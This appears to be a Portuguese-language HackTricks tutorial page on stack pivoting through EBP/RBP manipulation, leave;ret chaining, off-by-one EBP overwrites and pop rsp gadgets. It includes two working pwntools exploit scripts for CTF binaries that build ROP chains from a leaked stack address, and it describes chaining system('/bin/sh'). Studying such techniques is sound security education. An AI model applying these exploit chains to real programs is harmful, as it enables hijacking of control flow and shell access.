# Stack Pivoting - EBP2Ret - EBP chaining {{#include ../../../banners/hacktricks-training.md}} ## Informações Básicas Esta técnica explora a capacidade de manipular o **Ponteiro Base (EBP)** para encadear a execução de várias funções através do uso cuidadoso do registrador EBP e da sequência de instruções `leave; ret`. Como lembrete, **`leave`** basicamente significa: ``` mov esp, ebp pop ebp ret ``` E como o **EBP está na pilha** antes do EIP, é possível controlá-lo controlando a pilha. ### EBP2Ret Esta técnica é particularmente útil quando você pode **alterar o registrador EBP, mas não tem uma maneira direta de mudar o registrador EIP**. Ela aproveita o comportamento das funções quando terminam de executar. Se, durante a execução de `fvuln`, você conseguir injetar um **EBP falso** na pilha que aponte para uma área na memória onde o endereço do seu shellcode está localizado (mais 4 bytes para contabilizar a operação `pop`), você pode controlar indiretamente o EIP. Quando `fvuln` retorna, o ESP é definido para esta localização manipulada, e a operação `pop` subsequente diminui o ESP em 4, **fazendo efetivamente com que aponte para um endereço armazenado pelo atacante ali.**\ Note como você **precisa saber 2 endereços**: aquele para onde o ESP vai, onde você precisará escrever o endereço que é apontado pelo ESP. #### Construção do Exploit Primeiro, você precisa saber um **endereço onde pode escrever dados / endereços arbitrários**. O ESP apontará aqui e **executará o primeiro `ret`**. Em seguida, você precisa saber o endereço usado pelo `ret` que irá **executar código arbitrário**. Você poderia usar: - Um endereço válido de [**ONE_GADGET**](https://github.com/david942j/one_gadget). - O endereço de **`system()`** seguido de **4 bytes de lixo** e o endereço de `"/bin/sh"` (x86 bits). - O endereço de um gadget **`jump esp;`** ([**ret2esp**](ret2esp-ret2reg.md)) seguido do **shellcode** a ser executado. - Alguma cadeia [**ROP**](rop-return-oriented-programing.md). Lembre-se de que antes de qualquer um desses endereços na parte controlada da memória, deve haver **`4` bytes** por causa da parte **`pop`** da instrução `leave`. Seria possível abusar desses 4B para definir um **segundo EBP falso** e continuar controlando a execução. #### Exploit Off-By-One Há uma variante específica dessa técnica conhecida como "Exploit Off-By-One". É usada quando você pode **apenas modificar o byte menos significativo do EBP**. Nesse caso, a localização da memória que armazena o endereço para pular com o **`ret`** deve compartilhar os três primeiros bytes com o EBP, permitindo uma manipulação semelhante com condições mais restritas. ### **Encadeamento de EBP** Portanto, colocando um endereço controlado na entrada `EBP` da pilha e um endereço para `leave; ret` no `EIP`, é possível **mover o `ESP` para o endereço `EBP` controlado da pilha**. Agora, o **`ESP`** está controlado apontando para um endereço desejado e a próxima instrução a ser executada é um `RET`. Para abusar disso, é possível colocar no lugar controlado do ESP isto: - **`&(próximo EBP falso)`** -> Carregar o novo EBP por causa do `pop ebp` da instrução `leave` - **`system()`** -> Chamado pelo `ret` - **`&(leave;ret)`** -> Chamado após o término do sistema, moverá o ESP para o EBP falso e começará novamente - **`&("/bin/sh")`**-> Parâmetro para `system` Basicamente, dessa forma, é possível encadear vários EBPs falsos para controlar o fluxo do programa. Isso é como um [ret2lib](ret2lib/index.html), mas mais complexo, sem benefício aparente, mas pode ser interessante em alguns casos extremos. Além disso, aqui você tem um [**exemplo de um desafio**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) que usa essa técnica com um **leak de pilha** para chamar uma função vencedora. Este é o payload final da página: ```python from pwn import * elf = context.binary = ELF('./vuln') p = process() p.recvuntil('to: ') buffer = int(p.recvline(), 16) log.success(f'Buffer: {hex(buffer)}') LEAVE_RET = 0x40117c POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 payload = flat( 0x0, # rbp (could be the address of anoter fake RBP) POP_RDI, 0xdeadbeef, POP_RSI_R15, 0xdeadc0de, 0x0, elf.sym['winner'] ) payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP) payload += flat( buffer, # Load leak address in RBP LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it ) pause() p.sendline(payload) print(p.recvline()) ``` ## EBP é inútil Como [**explicado neste post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se um binário é compilado com algumas otimizações, o **EBP nunca controla o ESP**, portanto, qualquer exploit que funcione controlando o EBP basicamente falhará porque não tem efeito real.\ Isso ocorre porque as **mudanças de prólogo e epílogo** se o binário estiver otimizado. - **Não otimizado:** ```bash push %ebp # save ebp mov %esp,%ebp # set new ebp sub $0x100,%esp # increase stack size . . . leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) ret # return ``` - **Otimizado:** ```bash push %ebx # save ebx sub $0x100,%esp # increase stack size . . . add $0x10c,%esp # reduce stack size pop %ebx # restore ebx ret # return ``` ## Outras maneiras de controlar RSP ### **`pop rsp`** gadget [**Nesta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) você pode encontrar um exemplo usando esta técnica. Para este desafio, era necessário chamar uma função com 2 argumentos específicos, e havia um **gadget `pop rsp`** e há um **leak da pilha**: ```python # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # This version has added comments from pwn import * elf = context.binary = ELF('./vuln') p = process() p.recvuntil('to: ') buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user log.success(f'Buffer: {hex(buffer)}') POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 # pop RSI and R15 # The payload starts payload = flat( 0, # r13 0, # r14 0, # r15 POP_RDI, 0xdeadbeef, POP_RSI_R15, 0xdeadc0de, 0x0, # r15 elf.sym['winner'] ) payload = payload.ljust(104, b'A') # pad to 104 # Start popping RSP, this moves the stack to the leaked address and # continues the ROP chain in the prepared payload payload += flat( POP_CHAIN, buffer # rsp ) pause() p.sendline(payload) print(p.recvline()) ``` ### xchg \, rsp gadget ``` pop <=== return pointer xchg , rsp ``` ## Referências - [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) - [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) {{#include ../../../banners/hacktricks-training.md}}